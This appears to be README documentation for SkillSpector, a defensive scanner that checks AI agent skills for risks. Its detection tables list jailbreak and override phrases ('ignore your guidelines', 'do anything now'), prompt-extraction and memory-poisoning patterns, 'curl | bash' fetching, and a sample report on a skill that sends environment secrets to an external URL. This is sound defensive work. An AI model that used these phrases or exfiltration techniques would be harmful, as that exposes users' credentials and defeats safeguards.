skillspector scan ./my-skill --exclude 'tests/*' --exclude 'fixtures/*.json'\nPatterns are case-sensitive globs matched against the entire relative POSIX path; * also matches /. Quote patterns so your shell does not expand them. This is an explicit caller option, not an author-controlled ignore file. Patterns matching either manifest name (SKILL.md or skill.md) are rejected, as are recursive, multi-skill, transitive, registry, and non-directory inputs. No-match patterns are still recorded in the report.
Files already outside the scan inventory, such as policy-excluded dependencies, retain their existing policy handling and are not counted as caller exclusions. Explicitly excluded inventory files remain in the coverage denominator as entirely uninspected. The report lists the applied patterns, excluded count and individual skipped paths; any matched exclusion makes coverage partial and prevents a SAFE recommendation. Use --fail-on-incomplete when partial scope should fail CI. These exclusions do not suppress findings in included files or override existing safety limits.
For the best results, configure an OpenAI-compatible LLM endpoint for semantic analysis. Pick a provider with SKILLSPECTOR_PROVIDER; hosted providers ship bundled default models, while CLI providers fall back to the local runtime's default model unless SKILLSPECTOR_MODEL is set. SkillSpector also works against local OpenAI-compatible servers (Ollama, vLLM, llama.cpp) and managed inference gateways.
Provider (SKILLSPECTOR_PROVIDER) | \n Credential env var | \nEndpoint | \nDefault model | \n
|---|---|---|---|
openai | \n OPENAI_API_KEY (+ optional OPENAI_BASE_URL) | \n api.openai.com (or any OpenAI-compatible URL) | \ngpt-5.4 | \n
anthropic | \n ANTHROPIC_API_KEY | \n api.anthropic.com | \nclaude-opus-4-6 (meta_analyzer: claude-sonnet-4-6) | \n
anthropic_proxy | \n ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | \n Any Vertex-style raw-predict proxy | \nclaude-sonnet-4-6 | \n
bedrock | \n AWS_PROFILE (optional) + AWS_REGION \u2014 SigV4 via boto3 | \n AWS Bedrock Runtime | \nus.anthropic.claude-sonnet-4-6 | \n
nv_build | \n NVIDIA_INFERENCE_KEY | \n build.nvidia.com | \nz-ai/glm-5.3 | \n
gemini | \n GOOGLE_CLOUD_PROJECT (+ optional GOOGLE_CLOUD_LOCATION) via ADC | \n Google Cloud OpenAI-compatible Gemini endpoint | \ngemini-3.8-flash | \n
ollama | \n (none) | \nOLLAMA_BASE_URL (default http://localhost:11434/v1) | \n llama3.1:8b | \n
azure_openai | \n AZURE_OPENAI_API_KEY + AZURE_OPENAI_ENDPOINT | \n Azure OpenAI Service | \ngpt-4o (deployment defaults to the model label) | \n
openai_compatible | \n SKILLSPECTOR_COMPAT_API_KEY + SKILLSPECTOR_COMPAT_BASE_URL | \n Any OpenAI-compatible endpoint | \nllama-3.1-70b-versatile | \n
claude_cli | \n (none \u2014 uses local CLI auth) | \nlocal claude binary | \n local Claude runtime fallback, or SKILLSPECTOR_MODEL | \n
codex_cli | \n Disabled | \nRegistered for compatibility; its read-only sandbox permits host-file reads | \nUse an HTTP API provider or another supported CLI provider | \n
gemini_cli | \n (none \u2014 uses local CLI auth) | \nlocal gemini binary | \n local Gemini runtime fallback, or SKILLSPECTOR_MODEL | \n
opencode_cli | \n (none \u2014 uses local CLI auth) | \nlocal opencode 1.18.33 binary | \n local OpenCode runtime fallback, or SKILLSPECTOR_MODEL | \n
gpt-6.1-sol, claude-opus-5-5, and claude-sonnet-5-5 remain opt-in through SKILLSPECTOR_MODEL or per-slot overrides. Promoting them to defaults requires live scanner acceptance covering benign input, credential disclosure, prompt injection, refusals, and incomplete responses. Record findings, completion status, latency, and usage, and compare against previous defaults where accessible.
For NVIDIA Build's z-ai/glm-5.3, SkillSpector requests high reasoning effort. Set SKILLSPECTOR_REASONING_EFFORT to override it with low, high, or max. The bundled 128,000-token context and 32,000-token output budgets are conservative application limits; they do not claim the hosted endpoint's maximum capacity.
Structured output is requested through LangChain's with_structured_output. The default is client-specific: ChatOpenAI uses json_schema, while other clients may use tool calling. Some models reject a forced tool call with HTTP 400 (tool_choice: type \"tool\" and \"any\" are not supported for this model). The anthropic and anthropic_proxy providers route those models (claude-opus-5-5, claude-sonnet-5-5, claude-fable-5-1, claude-mythos-5-1, or any registry entry with structured_output: json_schema) to the native JSON-schema response format. Bedrock has no JSON-schema output for them, so the bedrock provider leaves toolChoice at auto, asks for the tool call in the prompt, and retries a prose answer; it recognises the model from the model ID, a geo/global inference-profile ID, or a foundation-model / inference-profile ARN. An application-inference-profile ARN hides the model, so add that ARN to the registry (SKILLSPECTOR_MODEL_REGISTRY) with tool_choice: auto. The openai_compatible provider honours the same tool_choice: auto entry for endpoints that ignore both response_format and a forced tool_choice and answer in prose (for example iFlytek's spark-x2.5, which is bundled). The anthropic, anthropic_proxy, openai, and openai_compatible providers also recognise those Claude models inside gateway model IDs such as anthropic/claude-opus-5-5 or aws/anthropic/bedrock-claude-opus-5-5. Some OpenAI-compatible gateways turn a json_schema response format for Claude into a forced tool call, so the openai and openai_compatible providers bind the schema as a tool with tool_choice left at auto and retry a prose answer. SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD=json_schema|function_calling overrides the method for any provider. The method precedence is SKILLSPECTOR_STRUCTURED_OUTPUT_METHOD, the provider's method hint, an analyzer preference, then the client default. TP4 prefers function_calling only for provider openai and the exact model label azure/anthropic/claude-opus-5, with reasoning/thinking controls unset; dated or suffixed labels and other providers keep their existing behavior. An explicit environment override or provider hint still wins when reasoning is configured.
# Stock OpenAI\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=sk-...\nskillspector scan ./my-skill/\n\n# Anthropic\nexport SKILLSPECTOR_PROVIDER=anthropic\nexport ANTHROPIC_API_KEY=sk-ant-...\nskillspector scan ./my-skill/\n\n# Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)\nexport SKILLSPECTOR_PROVIDER=anthropic_proxy\nexport ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict\nexport ANTHROPIC_PROXY_API_KEY=your-bearer-token\nexport SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# AWS Bedrock (Claude via SigV4)\nexport SKILLSPECTOR_PROVIDER=bedrock\n# Optional: select an AWS named profile. When unset, the standard\n# boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.\n# export AWS_PROFILE=my-profile\nexport AWS_REGION=us-west-2 # default if unset\n# Default model: us.anthropic.claude-sonnet-4-6\n# Override with any Bedrock model ID, cross-region inference-profile\n# ID, or your own application-inference-profile ARN. Claude 5.5 is opt-in:\n# us./eu. profiles keep requests in that geography, global. routes worldwide.\n# export SKILLSPECTOR_MODEL=us.anthropic.claude-sonnet-5-5\nskillspector scan ./my-skill/\n\n# NVIDIA build.nvidia.com\nexport SKILLSPECTOR_PROVIDER=nv_build\nexport NVIDIA_INFERENCE_KEY=nvapi-...\nskillspector scan ./my-skill/\n\n# Gemini on Google Cloud (Application Default Credentials / Workload Identity)\n# Prerequisites:\n# 1. Google Cloud project with billing enabled.\n# 2. Enable Gemini Enterprise Agent Platform / Vertex AI API: `aiplatform.googleapis.com`.\n# 3. IAM permission: grant `roles/aiplatform.user` (or at minimum `aiplatform.endpoints.predict`)\n# to your user account or Kubernetes service account.\n# 4. Local authentication: run `gcloud auth application-default login`.\n# Configure a quota project if needed: `gcloud auth application-default set-quota-project PROJECT_ID`.\n# 5. Kubernetes / GKE: configure Workload Identity and leave GOOGLE_APPLICATION_CREDENTIALS unset\n# rather than exporting service account keys.\n# Note on Data Residency:\n# The default `global` endpoint does not support data-residency requirements. While you can target\n# `us`, `eu`, or regional endpoints (e.g. `us-central1`), endpoint selection alone does not guarantee\n# data residency or in-region processing without appropriate organizational policies. Always verify\n# that your selected model is supported in your target location.\n# Optional credentials:\n# GOOGLE_APPLICATION_CREDENTIALS is optional and can reference Workload or Workforce Identity Federation\n# configuration files; exporting long-lived service account keys is discouraged.\nexport SKILLSPECTOR_PROVIDER=gemini\nexport GOOGLE_CLOUD_PROJECT=my-project-id\n# export GOOGLE_CLOUD_LOCATION=global # default is global; or us, eu, or specific region (e.g. us-central1)\n# Default model: gemini-3.8-flash\n# export SKILLSPECTOR_MODEL=gemini-3.7-flash\nskillspector scan ./my-skill/\n\n# Local Claude CLI \u2014 no API key; uses your existing `claude auth login` session\n# Requires: claude CLI installed and authenticated (claude auth login)\nexport SKILLSPECTOR_PROVIDER=claude_cli\n# Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.\n# export SKILLSPECTOR_MODEL=claude-sonnet-4-6\nskillspector scan ./my-skill/\n\n# Gemini (via OpenAI compatibility layer)\nexport SKILLSPECTOR_PROVIDER=openai\nexport OPENAI_API_KEY=\"YOUR_GEMINI_API_KEY\"\nexport OPENAI_BASE_URL=\"https://generativelanguage.googleapis.com/v1beta/openai/\"\nexport SKILLSPECTOR_MODEL=gemini-3.5-flash\nskillspector scan ./my-skill/\n\n# Local Ollama \u2014 no API key\nexport SKILLSPECTOR_PROVIDER=ollama\n# export OLLAMA_BASE_URL=http://localhost:11434/v1 # shown default\nexport SKILLSPECTOR_MODEL=llama3.1:8b\nskillspector scan ./my-skill/\n\n# Azure OpenAI\nexport SKILLSPECTOR_PROVIDER=azure_openai\nexport AZURE_OPENAI_API_KEY=...\nexport AZURE_OPENAI_ENDPOINT=https://example.openai.azure.com/\nexport AZURE_OPENAI_DEPLOYMENT=my-deployment\nskillspector scan ./my-skill/\n\n# Any other OpenAI-compatible endpoint\nexport SKILLSPECTOR_PROVIDER=openai_compatible\nexport SKILLSPECTOR_COMPAT_API_KEY=...\nexport SKILLSPECTOR_COMPAT_BASE_URL=https://api.groq.com/openai/v1\nexport SKILLSPECTOR_MODEL=llama-3.1-70b-versatile\nskillspector scan ./my-skill/\n\n# Override the provider's default model\nexport SKILLSPECTOR_MODEL=gpt-5.2\nskillspector scan ./my-skill/\n\n# Skip LLM analysis (faster, static analysis only)\nskillspector scan ./my-skill/ --no-llm\nRun SkillSpector as a Model Context Protocol server so local MCP-capable agents (Claude Code, Codex CLI, Gemini CLI) can call scanning as a tool and gate skill/MCP installs on the result \u2014 turning SkillSpector into a runtime guardrail instead of an out-of-band audit step.
\nskillspector mcp requires skillspector[mcp].
# Install, or reinstall if you already used the CLI-only path\nuv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'\n\n# FastMCP stdio transport for local CLI agents\nskillspector mcp\n\n# Streamable HTTP transport on a local loopback interface\nskillspector mcp --transport http --host 127.0.0.1 --port 8000\nThe stdio transport is the current FastMCP path for local CLI agents, and the initialize hang reported in issue #199 still applies there.
\nThe server exposes a single tool:
\nscan_skill(target, use_llm=true, output_format=\"json\") \u2014 scans a Git URL, file URL, .zip, .md file, or directory and returns a structured verdict: risk_score (0-100), severity, recommendation, safe_to_install, and findings. It also reports llm_used / scan_mode so a low score from a static-only scan is never mistaken for a clean full scan.Register it with Claude Code via:
\nclaude mcp add skillspector -- skillspector mcp\n\n\nSecurity \u2014 HTTP transport trust model
\nThe HTTP transport ships without authentication. Any caller that can reach the port can invoke
\nscan_skill. HTTP bindings are restricted to loopback IPs (127.0.0.1or::1);localhostbinds to127.0.0.1without DNS resolution. Wildcard, routable and other hostname bindings are rejected.\n
\n- For remote access, put an authenticating reverse proxy (e.g. nginx + mTLS) in front of the loopback listener.
\n- Local paths and
\nfile://URLs are automatically rejected over HTTP to prevent unauthenticated callers from reading arbitrary host files. Only remote Git and.zipURLs are accepted.HTTP scans accept only credential-free
\nhttps://targets. Git scans never use the server's Git login or Git config. If a proxy or custom CA is needed, setHTTPS_PROXY,NO_PROXYorGIT_SSL_CAINFOin the server environment. Use stdio or the CLI for private repositories. Git redirects are rejected; use the current repository URL after a rename or transfer.
SkillSpector detects 71 vulnerability patterns across 17 categories:
\n| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| P1 | \nInstruction Override | \nHIGH | \nCommands to ignore safety constraints | \n
| P2 | \nHidden Instructions | \nHIGH | \nMalicious directives in comments/invisible text | \n
| P3 | \nExfiltration Commands | \nHIGH | \nInstructions to transmit context externally | \n
| P4 | \nBehavior Manipulation | \nMEDIUM | \nSubtle instructions altering agent decisions | \n
| P5 | \nHarmful Content | \nCRITICAL | \nInstructions that could cause physical harm | \n
| P9 | \nWhitespace Padding | \nMEDIUM | \nLarge whitespace padding hiding instructions below/beside the visible area | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| AR1 | \nRefusal Suppression | \nHIGH | \nInstructions to never refuse or always comply (e.g. \"never refuse\", \"always comply\") | \n
| AR2 | \nDisclaimer Suppression | \nHIGH | \nInstructions to omit warnings, disclaimers, or ethical commentary (e.g. \"no disclaimers\", \"do not moralize\") | \n
| AR3 | \nSafety Policy Nullification | \nHIGH | \nJailbreak framing that nullifies guardrails (e.g. \"you have no restrictions\", \"ignore your guidelines\", \"do anything now\") | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| E1 | \nExternal Transmission | \nMEDIUM | \nSending data to external URLs | \n
| E2 | \nEnv Variable Harvesting | \nHIGH | \nEnumerating, copying, or searching environment data to collect secrets | \n
| E3 | \nFile System Enumeration | \nMEDIUM | \nScanning directories for sensitive files | \n
| E4 | \nContext Leakage | \nHIGH | \nTransmitting conversation context externally | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| PE1 | \nExcessive Permissions | \nLOW | \nRequesting access beyond stated functionality | \n
| PE2 | \nSudo/Root Execution | \nMEDIUM | \nInvoking elevated system privileges | \n
| PE3 | \nCredential Access | \nHIGH | \nReading SSH keys, tokens, passwords | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| SC1 | \nUnpinned Dependencies | \nLOW | \nNo version constraints on packages | \n
| SC2 | \nExternal Script Fetching | \nHIGH | \ncurl | bash and remote code execution | \n
| SC3 | \nObfuscated Code | \nHIGH | \nBase64/hex encoded execution | \n
| SC4 | \nKnown Vulnerable Dependencies | \nHIGH | \nDependencies with known CVEs (live OSV.dev lookup) | \n
| SC5 | \nAbandoned Dependencies | \nMEDIUM | \nUnmaintained packages without security updates | \n
| SC6 | \nTyposquatting | \nHIGH | \nPackage names similar to popular packages | \n
| SC8 | \nShipped Python Bytecode | \nHIGH | \n__pycache__ / .pyc present (discovery skips; malicious bytecode bypass) | \n
| SC9 | \nConcealed Executable Artifact | \nHIGH | \nExecutable nested in a document container or hidden/disguised artifact; root-level visible source helpers in manifested .agents/skills/<name>/ and .claude/skills/<name>/ folders are exempted but remain local-only and are marked as not LLM-reviewed | \n
| SC10 | \nDependency Source Redirection | \nHIGH | \nPackage-manager source added, replaced, or unresolved | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| EA1 | \nUnrestricted Tool Access | \nHIGH | \nUnfettered tool access without constraints | \n
| EA2 | \nAutonomous Decision Making | \nHIGH | \nHigh-impact decisions without human-in-the-loop | \n
| EA3 | \nScope Creep | \nMEDIUM | \nCapabilities extending beyond stated purpose | \n
| EA4 | \nUnbounded Resource Access | \nMEDIUM | \nNo rate limits or quotas on resource consumption | \n
| EA5 | \nExternal Model or Provider Selection | \nMEDIUM/HIGH | \nModel/provider pins or coding-CLI shell-outs that can switch billing accounts | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| OH1 | \nUnvalidated Output Injection | \nHIGH | \nModel output used without sanitization | \n
| OH2 | \nCross-Context Output | \nMEDIUM | \nOutput flows across trust boundaries without validation | \n
| OH3 | \nUnbounded Output | \nMEDIUM | \nNo limits on output size or generation rate | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| P6 | \nDirect Leakage | \nHIGH | \nInstructions that expose system prompts or internal rules | \n
| P7 | \nIndirect Extraction | \nMEDIUM | \nExtraction via rephrasing, translation, or side-channels | \n
| P8 | \nTool-Based Exfiltration | \nHIGH | \nSystem prompts exfiltrated via file writes or network requests | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| MP1 | \nPersistent Context Injection | \nHIGH | \nContent designed to persist across interactions | \n
| MP2 | \nContext Window Stuffing | \nMEDIUM | \nFiller content displacing safety constraints | \n
| MP3 | \nMemory Manipulation | \nHIGH | \nTampering with agent memory or stored state | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TM1 | \nTool Parameter Abuse | \nHIGH | \nCrafted parameters for unintended behavior (shell=True, --force) | \n
| TM2 | \nChaining Abuse | \nHIGH | \nTool chains that bypass individual safety checks | \n
| TM3 | \nUnsafe Defaults | \nMEDIUM | \nOverly permissive defaults (disabled TLS, no auth) | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| RA1 | \nSelf-Modification | \nCRITICAL | \nModifying own code or configuration at runtime | \n
| RA2 | \nSession Persistence | \nHIGH | \nUnauthorized persistence via cron jobs or startup scripts | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TR1 | \nOverly Broad Trigger | \nMEDIUM | \nTrigger patterns matching common words | \n
| TR2 | \nShadow Command Trigger | \nHIGH | \nTriggers that shadow built-in commands or other skills | \n
| TR3 | \nKeyword Baiting Trigger | \nMEDIUM | \nGeneric triggers designed to maximize activation | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| AST1 | \nexec() Call | \nCRITICAL | \nDirect exec() enabling arbitrary code execution | \n
| AST2 | \neval() Call | \nHIGH | \nDirect eval() evaluating arbitrary expressions | \n
| AST3 | \nDynamic Import | \nHIGH | \n__import__() loading arbitrary modules at runtime | \n
| AST4 | \nsubprocess Call | \nHIGH | \nExternal command execution via subprocess | \n
| AST5 | \nos.system / exec-family | \nHIGH | \nShell commands via os module | \n
| AST6 | \ncompile() Call | \nMEDIUM | \nCode object creation from strings | \n
| AST7 | \nDynamic getattr() | \nMEDIUM | \nArbitrary attribute access with non-literal names | \n
| AST8 | \nDangerous Execution Chain | \nCRITICAL | \nexec/eval combined with dynamic source (network, encoded data) | \n
| AST9 | \nReflective getattr() Sink | \nHIGH | \nReflective exec via getattr(os,'system') / getattr(builtins,'exec') that evades AST1/AST5 | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TT1 | \nDirect Taint Flow | \nHIGH | \nData flows directly from a source to a sink without sanitization | \n
| TT2 | \nVariable-Mediated Taint Flow | \nMEDIUM | \nData flows from source to sink through intermediate variables | \n
| TT3 | \nCredential Exfiltration Chain | \nCRITICAL | \nCredentials (env vars, secrets) flow to network output sinks | \n
| TT4 | \nFile Read to Network Exfiltration | \nHIGH | \nFile contents flow to network output sinks | \n
| TT5 | \nExternal Input to Code Execution | \nCRITICAL | \nNetwork or user input flows to exec/eval/subprocess sinks | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| YR1 | \nMalware Match | \nCRITICAL | \nYARA rule match for known malware signatures | \n
| YR2 | \nWebshell Match | \nCRITICAL | \nYARA rule match for webshell patterns | \n
| YR3 | \nCryptominer Match | \nHIGH | \nYARA rule match for crypto mining indicators | \n
| YR4 | \nHack Tool / Exploit Match | \nHIGH | \nYARA rule match for hack tools or exploit code | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| LP1 | \nUnderdeclared Capability | \nHIGH | \nCode uses capabilities not listed in declared permissions | \n
| LP2 | \nWildcard Permission | \nMEDIUM | \nPermission list contains wildcards (*, all, full, any) | \n
| LP3 | \nMissing Permission Declaration | \nMEDIUM | \nNo permissions field but code has detectable capabilities | \n
| LP4 | \nOverdeclared Permission | \nLOW | \nPermission declared but no corresponding code capability found | \n
| ID | \nPattern | \nSeverity | \nDescription | \n
|---|---|---|---|
| TP1 | \nHidden Instructions | \nHIGH | \nHidden directives in metadata (HTML comments, zero-width chars, base64, data URIs) | \n
| TP2 | \nUnicode Deception | \nHIGH | \nHomoglyphs, RTL overrides, mixed-script identifiers in tool metadata | \n
| TP3 | \nParameter Description Injection | \nMEDIUM | \nInjection patterns in parameter definitions (overrides, system tokens, malicious defaults) | \n
| TP4 | \nDescription-Behavior Mismatch | \nMEDIUM | \nDeclared tool description does not match actual code behavior (LLM-powered) | \n
All detected patterns are listed in the tables above.
\n| Score | \nSeverity | \nRecommendation | \n
|---|---|---|
| 0-20 | \nLOW | \nSAFE | \n
| 21-50 | \nMEDIUM | \nCAUTION | \n
| 51-80 | \nHIGH | \nDO NOT INSTALL | \n
| 81-100 | \nCRITICAL | \nDO NOT INSTALL | \n
SkillSpector Security Report v2.0.0\n\nSkill: suspicious-skill\nSource: ./suspicious-skill/\nScanned: 2026-01-29 10:30:00 UTC\n\n Risk Assessment\n Metric Value\n Score 78/100\n Severity HIGH\n Recommendation DO NOT INSTALL\n\n Components (3)\n File Type Lines Executable\n SKILL.md markdown 142 No\n scripts/sync.py python 87 Yes\n requirements.txt text 3 No\n\nIssues (2)\n\n HIGH: Env Variable Harvesting (E2)\n Location: scripts/sync.py:23\n Finding: for key, val in os.environ.items():...\n Confidence: 94%\n Explanation: This code collects environment variables containing\n API keys and secrets, then sends them to an external server.\n\n HIGH: External Transmission (E1)\n Location: scripts/sync.py:45\n Finding: requests.post(\"https://api.skill.io/env\"...\n Confidence: 89%\n Explanation: Data is being sent to an external server. Combined\n with env harvesting above, this indicates credential exfiltration.\n| Variable | \nDescription | \nRequired | \n
|---|---|---|
SKILLSPECTOR_PROVIDER | \n Active LLM provider: openai, anthropic, anthropic_proxy, bedrock, nv_build, gemini, ollama, azure_openai, openai_compatible, claude_cli, gemini_cli, or opencode_cli. Hosted providers use bundled model_registry.yaml defaults; CLI providers fall back to the local runtime's default model unless SKILLSPECTOR_MODEL is set. Defaults to nv_build. | \n Optional | \n
GOOGLE_CLOUD_PROJECT | \n Google Cloud project ID for the gemini provider. Authenticates via Google Cloud Application Default Credentials (ADC) or GKE Workload Identity. | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=gemini | \n
GOOGLE_CLOUD_LOCATION | \n Google Cloud location for the gemini provider endpoint (e.g. global, us, eu, us-central1). Defaults to global. | \n Optional (used when SKILLSPECTOR_PROVIDER=gemini) | \n
GOOGLE_APPLICATION_CREDENTIALS | \n Optional path to ADC credential/config file (e.g. Workload or Workforce Identity Federation config; exported service account keys are discouraged). For local development, use gcloud auth application-default login; for GKE, use Workload Identity. | \n Optional (used when SKILLSPECTOR_PROVIDER=gemini) | \n
NVIDIA_INFERENCE_KEY | \n Credential for the nv_build provider (build.nvidia.com). | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=nv_build | \n
OPENAI_API_KEY | \n Credential for the OpenAI provider (SKILLSPECTOR_PROVIDER=openai). Also serves as the tier-2 fallback in the credential waterfall when the active provider returns no credentials; the fallback then uses the openai default model (gpt-5.4) for any slot without a model override. Claude Opus or Sonnet 5.5 gateway IDs are not supported through the fallback, because it keeps the active provider's structured-output method; select SKILLSPECTOR_PROVIDER=openai for them. | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=openai | \n
OPENAI_BASE_URL | \n Override the OpenAI endpoint (e.g. point at Ollama). | \nOptional | \n
SKILLSPECTOR_REASONING_EFFORT | \n Optional provider- and model-dependent reasoning-effort setting. Non-empty values are trimmed and passed through unchanged. When unset or blank, SkillSpector sends high for nv_build with z-ai/glm-5.3; other provider/model combinations keep their endpoint defaults. The value applies to every model slot, so the anthropic meta_analyzer default receives the same effort as the analyzers. gpt-6.1-sol accepts only low, medium, high, xhigh, or max; any other value stops a scan before analysis (exit code 2). | \n Optional | \n
SKILLSPECTOR_OUTPUT_LANGUAGE | \n Short, single-line language label (letters, numbers, spaces, _, or -; maximum 64 characters) for human-readable LLM finding text such as messages, explanations, and remediation. Rule IDs, severity values, paths, code, and other machine-readable values remain unchanged. Unset, blank, or invalid values preserve the default output language. | \n Optional | \n
SKILLSPECTOR_TEMPERATURE | \n Optional sampling temperature from 0 to 1 for hosted providers. Unset or blank preserves the provider default. Lower values can reduce run-to-run variation but do not guarantee identical output. gpt-6.1-sol rejects every explicit temperature, including 1. claude-opus-5-5 and claude-sonnet-5-5 accept only 1.0 on the native Anthropic endpoint (API compatibility rule); gateways, proxies, and Bedrock still reject every explicit value for these models. Unsupported settings on active LLM slots stop a scan before analysis (exit code 2). Static scans (--no-llm) skip provider initialization and control validation. A Bedrock application-inference-profile ARN hides the model name, so declare sampling: rejected for it in the model registry. | \n Optional | \n
SKILLSPECTOR_SEED | \n Optional integer sampling seed for OpenAI-compatible and Azure OpenAI providers. Other hosted providers and CLI providers do not receive it. Provider support remains model-dependent; gpt-6.1-sol receives it, but OpenAI treats seed as best-effort, so output can still differ between runs. | \n Optional | \n
SKILLSPECTOR_COMPACT_PROMPTS | \n Opt-in compact line numbering in LLM prompts: numbered lines render as L1:, L2: instead of zero-padded L01:, L02:. Accepted truthy values are 1, true, and yes (case-insensitive; surrounding whitespace is trimmed). Unset or any other value keeps the default zero-padded format. | \n Optional | \n
ANTHROPIC_API_KEY | \n Credential for the Anthropic provider (SKILLSPECTOR_PROVIDER=anthropic). | \n Required for LLM analysis when SKILLSPECTOR_PROVIDER=anthropic | \n
ANTHROPIC_BASE_URL | \n Override the native Anthropic endpoint (default: https://api.anthropic.com). | \n Optional | \n
ANTHROPIC_AUTH_SCHEME | \n Set to bearer to send ANTHROPIC_API_KEY as Authorization: Bearer instead of x-api-key, for gateways exposing the Messages API. | \n Optional | \n
ANTHROPIC_PROXY_ENDPOINT_URL | \n Full endpoint URL for the Anthropic proxy provider (Vertex-style raw-predict). | \nRequired when SKILLSPECTOR_PROVIDER=anthropic_proxy | \n
ANTHROPIC_PROXY_API_KEY | \n Bearer token for the Anthropic proxy provider. | \nRequired when SKILLSPECTOR_PROVIDER=anthropic_proxy | \n
ANTHROPIC_PROXY_API_VERSION | \n anthropic_version value sent in the request body (default: vertex-2023-10-16). | \n Optional | \n
AWS_PROFILE | \n Named AWS profile for the Bedrock provider \u2014 authenticates via SigV4 through boto3. When unset, the standard boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves. | \nOptional (used when SKILLSPECTOR_PROVIDER=bedrock) | \n
AWS_REGION | \n AWS region for the Bedrock Runtime endpoint. Defaults to us-west-2. | \n Optional (used when SKILLSPECTOR_PROVIDER=bedrock) | \n
OLLAMA_BASE_URL | \n Ollama OpenAI-compatible endpoint. Defaults to http://localhost:11434/v1. | \n Optional (used when SKILLSPECTOR_PROVIDER=ollama) | \n
AZURE_OPENAI_API_KEY | \n API key for the Azure OpenAI provider. | \nRequired when SKILLSPECTOR_PROVIDER=azure_openai | \n
AZURE_OPENAI_ENDPOINT | \n Azure resource endpoint for the Azure OpenAI provider. | \nRequired when SKILLSPECTOR_PROVIDER=azure_openai | \n
AZURE_OPENAI_DEPLOYMENT | \n Azure deployment name. Defaults to the selected model label. | \nOptional | \n
AZURE_OPENAI_API_VERSION | \n Azure OpenAI API version. Defaults to 2024-06-01. | \n Optional | \n
SKILLSPECTOR_COMPAT_API_KEY | \n API key for a generic OpenAI-compatible provider. | \nRequired when SKILLSPECTOR_PROVIDER=openai_compatible | \n
SKILLSPECTOR_COMPAT_BASE_URL | \n Base URL for a generic OpenAI-compatible provider. | \nRequired when SKILLSPECTOR_PROVIDER=openai_compatible | \n
SKILLSPECTOR_MODEL | \n Override the active provider model. For hosted providers, this replaces the bundled default from the LLM Analysis table. For CLI providers, this is forwarded as --model instead of using the local runtime fallback. | \n Optional | \n
SKILLSPECTOR_MODEL_<SLOT> | \n Override the model for one analyzer slot (for example SKILLSPECTOR_MODEL_META_ANALYZER). It takes precedence over SKILLSPECTOR_MODEL, which in turn replaces provider slot defaults such as the anthropic meta_analyzer default. See model provenance for the full precedence. | \n Optional | \n
SKILLSPECTOR_MODEL_REGISTRY | \n Override the bundled per-provider YAML registry (src/skillspector/providers/<provider>/model_registry.yaml) with a custom path. | \n Optional | \n
SKILLSPECTOR_LOG_LEVEL | \n Log level: DEBUG, INFO, WARNING, ERROR (default: WARNING). | \n Optional | \n
SKILLSPECTOR_MAX_DEPENDENCY_SOURCE_ANALYSIS_SECONDS | \n Ceiling for the dependency-source analysis pass, in seconds. Defaults to 5.0, which is the historical value. Raise it on slow or heavily loaded machines so the same unchanged tree does not come back partially inspected, which would set safe_to_install to false and record runtime_limit. The remaining aggregate workflow time (SKILLSPECTOR_MAX_WORKFLOW_SECONDS, 600 seconds by default) still caps the effective value; values above that remaining time have no effect. Invalid, zero, negative, infinite, and NaN values keep the 5-second default. The setting is resolved when the module is imported, so a new process is required after changing it. See analysis resource bounds. | \n Optional | \n
\n\nDisabled provider:
\ncodex_cliremains registered but cannot run LLM analysis because its read-only sandbox allows host-file reads. Existing users should select an HTTP API provider or another supported CLI provider.
\n\nCLI providers (
\nclaude_cli,gemini_cli,opencode_cli): No API key is needed. Authentication is managed entirely by the agent CLI's own login session. SkillSpector never reads or forwards API keys when these providers are active. The subprocess is run with capabilities restricted, and untrusted skill content is delivered only via stdin.\n
opencode_clicurrently fails closed unless the installed OpenCode version is exactly1.18.33, the version whose configuration precedence and deny-all semantics are verified by this release.
skillspector scan --help\n\nOptions:\n -f, --format [terminal|json|markdown|sarif] Output format [default: terminal]\n -o, --output PATH Output file path\n --no-llm Skip LLM analysis (static only)\n --yara-rules-dir PATH Extra YARA rules directory\n -b, --baseline PATH Suppress findings listed in a baseline\n --show-suppressed List baseline-suppressed findings\n -V, --verbose Show detailed progress\n --help Show this message and exit\n\n# Generate a baseline of all current findings (see docs/SUPPRESSION.md)\nskillspector baseline <path> [-o FILE] [--no-llm] [--reason TEXT]\nReport files and new baselines use private permissions (0600). Existing baselines retain their access metadata when safely replaced; updates requiring in-place writes are refused. All file output uses atomic replacement. The parent directory must be writable; symlinked parents and non-regular destinations such as devices are refused. On macOS, ancestor directories must also be readable. File output requires POSIX no-follow directory operations and is unavailable on Windows. Unsupported file output fails before 